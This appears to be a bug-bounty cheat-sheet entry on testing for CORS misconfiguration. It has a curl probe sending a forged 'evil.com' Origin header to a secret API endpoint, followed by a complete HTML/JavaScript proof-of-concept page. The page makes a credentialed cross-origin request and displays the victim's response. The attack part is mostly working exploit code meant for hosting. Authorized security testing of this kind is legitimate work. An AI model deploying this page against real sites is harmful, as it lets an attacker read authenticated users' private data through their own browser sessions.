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36 lines
1,022 B
Markdown
36 lines
1,022 B
Markdown
## Cross Origin Resource Sharing (CORS)
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Testing:
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`curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'`
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Check to see what the server responds with in the `Access-Control-Allow-Origin:` (if anything) and if so, check if `Access-Control-Allow-Credentials: true` is present.
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If it is trusting arbitrary origins **with** allow-credentials set to true, then host this HTML as a proof of concept.
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```
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<!DOCTYPE html>
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<html>
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<head><title>BugBounty CheatSheet</title></head>
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<body>
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<center>
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<h2>CORs POC</h2>
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<textarea rows="10" cols="60" id="pwnz">
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</textarea><br>
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<button type="button" onclick="cors()">Exploit</button>
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</div>
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<script>
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function cors() {
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var xhttp = new XMLHttpRequest();
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xhttp.onreadystatechange = function() {
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if (this.readyState == 4 && this.status == 200) {
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document.getElementById("pwnz").innerHTML = this.responseText;
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}
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};
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xhttp.open("GET", "http://example.com/api/v1/topsecret", true);
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xhttp.withCredentials = true;
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xhttp.send();
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}
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</script>
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```
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